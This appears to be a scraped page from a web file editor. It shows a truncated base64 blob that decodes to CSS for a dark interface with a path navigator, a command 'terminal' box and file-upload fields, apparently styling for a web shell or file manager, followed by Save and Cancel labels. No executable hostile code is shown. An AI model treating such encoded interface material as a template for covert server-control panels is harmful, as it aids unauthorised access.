NCiAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogM3B4IDhweDsgDQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsgDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC5wYXRoLW5hdiBhOmhvdmVyIHsgDQogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICNlOTQ1NjA7IA0KICAgICAgICAgICAgICAgICAgICBjb2xvcjogI2ZmZjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgLnBhdGgtbmF2IC5jdXJyZW50LXBhdGgtZGlzcGxheSB7DQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjNThhNmZmOw0KICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDExcHg7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC5zZWN0aW9uIHsgDQogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICMxNjIxM2U7IA0KICAgICAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiAxMHB4OyANCiAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogMjVweDsgDQogICAgICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7IA0KICAgICAgICAgICAgICAgICAgICBib3gtc2hhZG93OiAwIDJweCA0cHggcmdiYSgwLDAsMCwwLjIpOw0KICAgICAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjMGYzNDYwOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAuc2VjdGlvbi10aXRsZSB7IA0KICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDE4cHg7IA0KICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNjAwOyANCiAgICAgICAgICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMjBweDsNCiAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgICAgICAgICAgICAgZ2FwOiA4cHg7DQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjZTk0NTYwOw0KICAgICAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzBmMzQ2MDsNCiAgICAgICAgICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDEwcHg7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC50ZXJtaW5hbC1ib3ggeyANCiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzBkMTExNzsgDQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDhweDsNCiAgICAgICAgICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsNCiAgICAgICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgIzMwMzYzZDsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgLnRlcm1pbmFsLWhlYWRlciB7DQogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICMxNjFiMjI7DQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMTVweDsNCiAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgICAgICAgICAgZ2FwOiA2cHg7DQogICAgICAgICAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjMzAzNjNkOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtZG90IHsNCiAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDEycHg7DQogICAgICAgICAgICAgICAgICAgIGhlaWdodDogMTJweDsNCiAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNTAlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtZG90LnJlZCB7IGJhY2tncm91bmQ6ICNmZjVmNTY7IH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtZG90LnllbGxvdyB7IGJhY2tncm91bmQ6ICNmZmJkMmU7IH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtZG90LmdyZWVuIHsgYmFja2dyb3VuZDogIzI3YzkzZjsgfQ0KICAgICAgICAgICAgICAgIC50ZXJtaW5hbC10aXRsZSB7DQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjOGI5NDllOw0KICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDEycHg7DQogICAgICAgICAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAxMHB4Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtb3V0cHV0IHsgDQogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwZDExMTc7IA0KICAgICAgICAgICAgICAgICAgICBjb2xvcjogIzU4YTZmZjsgDQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7IA0KICAgICAgICAgICAgICAgICAgICBmb250LWZhbWlseTogbW9ub3NwYWNlOyANCiAgICAgICAgICAgICAgICAgICAgbWF4LWhlaWdodDogMzAwcHg7IA0KICAgICAgICAgICAgICAgICAgICBvdmVyZmxvdy15OiBhdXRvOyANCiAgICAgICAgICAgICAgICAgICAgd2hpdGUtc3BhY2U6IHByZS13cmFwOyANCiAgICAgICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuNTsNCiAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtaW5wdXQtYXJlYSB7DQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7DQogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwZDExMTc7DQogICAgICAgICAgICAgICAgICAgIGJvcmRlci10b3A6IDFweCBzb2xpZCAjMzAzNjNkOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtaW5wdXQtYXJlYSBmb3JtIHsNCiAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgICAgICAgICAgZ2FwOiAxMHB4Ow0KICAgICAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtcHJvbXB0IHsNCiAgICAgICAgICAgICAgICAgICAgY29sb3I6ICMzZmI5NTA7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkOw0KICAgICAgICAgICAgICAgICAgICB3aGl0ZS1zcGFjZTogbm93cmFwOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtaW5wdXQtYXJlYSBpbnB1dCB7DQogICAgICAgICAgICAgICAgICAgIGZsZXg6IDE7DQogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50Ow0KICAgICAgICAgICAgICAgICAgICBib3JkZXI6IG5vbmU7DQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjYzlkMWQ5Ow0KICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiA1cHg7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgLnRlcm1pbmFsLWlucHV0LWFyZWEgaW5wdXQ6Zm9jdXMgew0KICAgICAgICAgICAgICAgICAgICBvdXRsaW5lOiBub25lOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtaW5wdXQtYXJlYSBidXR0b24gew0KICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMjM4NjM2Ow0KICAgICAgICAgICAgICAgICAgICBjb2xvcjogd2hpdGU7DQogICAgICAgICAgICAgICAgICAgIGJvcmRlcjogbm9uZTsNCiAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogOHB4IDE2cHg7DQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsNCiAgICAgICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyOw0KICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNTAwOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtaW5wdXQtYXJlYSBidXR0b246aG92ZXIgew0KICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMmVhMDQzOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAuZm9ybS1pbmxpbmUgeyANCiAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDsgDQogICAgICAgICAgICAgICAgICAgIGdhcDogMTBweDsgDQogICAgICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDE1cHg7IA0KICAgICAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOyANCiAgICAgICAgICAgICAgICAgICAgZmxleC13cmFwOiB3cmFwOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpbnB1dFt0eXBlPSJ0ZXh0Il0sIGlucHV0W3R5cGU9ImZpbGUiXSB7IA0KICAgICAgICAgICAgICAgICAgICBmbGV4OiAxOyANCiAgICAgICAgICAgICAgICAgICAgbWluLXdpZHRoOiAyMDBweDsNCiAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogMTBweCAxNXB4Ow0KICAgICAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjMzAzNjNkOw0KICAgICAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiA2cHg7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDsNCiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzBkMTExNzsNCiAgICAgICAgICAgICAgICAgICAgY29sb3I6ICNjOWQxZDk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlucHV0OmZvY3VzIHsNCiAgICAgICAgICAgICAgICAgICAgb3V0bGluZTogbm9uZTsNCiAgICAgICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjNThhNmZmOw0KICAgICAgICAgICAgICAgICAgICBib3gtc2hhZG93OiAwIDAgMCAycHggcmdiYSg4OCwgMTY2LCAyNTUsIDAuMTUpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpbnB1dDo6cGxhY2Vob2xkZXIgew0KICAgICAgICAgICAgICAgICAgICBjb2xvcjogIzQ4NGY1ODsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgYnV0dG9uLCAuYnRuIHsgDQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMjBweDsgDQogICAgICAgICAgICAgICAgICAgIGJvcmRlcjogbm9uZTsgDQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDZweDsgDQogICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDsgDQogICAgICAgICAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsNCiAgICAgICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMDsNCiAgICAgICAgICAgICAgICAgICAgdHJhbnNpdGlvbjogYWxsIDAuMnM7DQogICAgICAgICAgICAgICAgICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7DQogICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1mbGV4Ow0KICAgICAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICAgICAgICAgICAgICBnYXA6IDVweDsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgLmJ0bi1wcmltYXJ5IHsgYmFja2dyb3VuZDogIzIzODYzNjsgY29sb3I6IHdoaXRlOyB9DQogICAgICAgICAgICAgICAgLmJ0bi1wcmltYXJ5OmhvdmVyIHsgYmFja2dyb3VuZDogIzJlYTA0MzsgfQ0KICAgICAgICAgICAgICAgIC5idG4tc3VjY2VzcyB7IGJhY2tncm91bmQ6ICMyMzg2MzY7IGNvbG9yOiB3aGl0ZTsgfQ0KICAgICAgICAgICAgICAgIC5idG4tc3VjY2Vzczpob3ZlciB7IGJhY2tncm91bmQ6ICMyZWEwNDM7IH0NCiAgICAgICAgICAgICAgICAuYnRuLWRhbmdlciB7IGJhY2tncm91bmQ6ICNkYTM2MzM7IGNvbG9yOiB3aGl0ZTsgfQ0KICAgICAgICAgICAgICAgIC5idG4tZGFuZ2VyOmhvdmVyIHsgYmFja2dyb3VuZDogI2Y4NTE0OTsgfQ0KICAgICAgICAgICAgICAgIC5idG4td2FybmluZyB7IGJhY2tncm91bmQ6ICNkMjk5MWQ7IGNvbG9yOiB3aGl0ZTsgfQ0KICAgICAgICAgICAgICAgIC5idG4td2FybmluZzpob3ZlciB7IGJhY2tncm91bmQ6ICNlM2IzNDE7IH0NCiAgICAgICAgICAgICAgICAuYnRuLWluZm8geyBiYWNrZ3JvdW5kOiAjMWY2ZmViOyBjb2xvcjogd2hpdGU7IH0NCiAgICAgICAgICAgICAgICAuYnRuLWluZm86aG92ZXIgeyBiYWNrZ3JvdW5kOiAjMzg4YmZkOyB9DQogICAgICAgICAgICAgICAgLmJ0bi1zbSB7IHBhZGRpbmc6IDVweCAxMHB4OyBmb250LXNpemU6IDEycHg7IH0NCiAgICAgICAgICAgICAgICAuYnRuLXJlZnJlc2ggeyBiYWNrZ3JvdW5kOiAjNmU3NjgxOyBjb2xvcjogd2hpdGU7IH0NCiAgICAgICAgICAgICAgICAuYnRuLXJlZnJlc2g6aG92ZXIgeyBiYWNrZ3JvdW5kOiAjOGI5NDllOyB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgdGFibGUgeyANCiAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDEwMCU7IA0KICAgICAgICAgICAgICAgICAgICBib3JkZXItY29sbGFwc2U6IHNlcGFyYXRlOyANCiAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXNwYWNpbmc6IDA7DQogICAgICAgICAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMwZjM0NjA7DQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDZweDsNCiAgICAgICAgICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgdGhlYWQgeyANCiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzBmMzQ2MDsgDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHRoIHsgDQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDEycHggMTVweDsgDQogICAgICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IGxlZnQ7IA0KICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNjAwOyANCiAgICAgICAgICAgICAgICAgICAgY29sb3I6ICNlOTQ1NjA7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTFweDsNCiAgICAgICAgICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsNCiAgICAgICAgICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IDAuNXB4Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB0Ym9keSB0ciB7IA0KICAgICAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzBmMzQ2MDsgDQogICAgICAgICAgICAgICAgICAgIHRyYW5zaXRpb246IGJhY2tncm91bmQgMC4yczsgDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHRib2R5IHRyOmhvdmVyIHsgDQogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEo
💾 Save Changes
❌ Cancel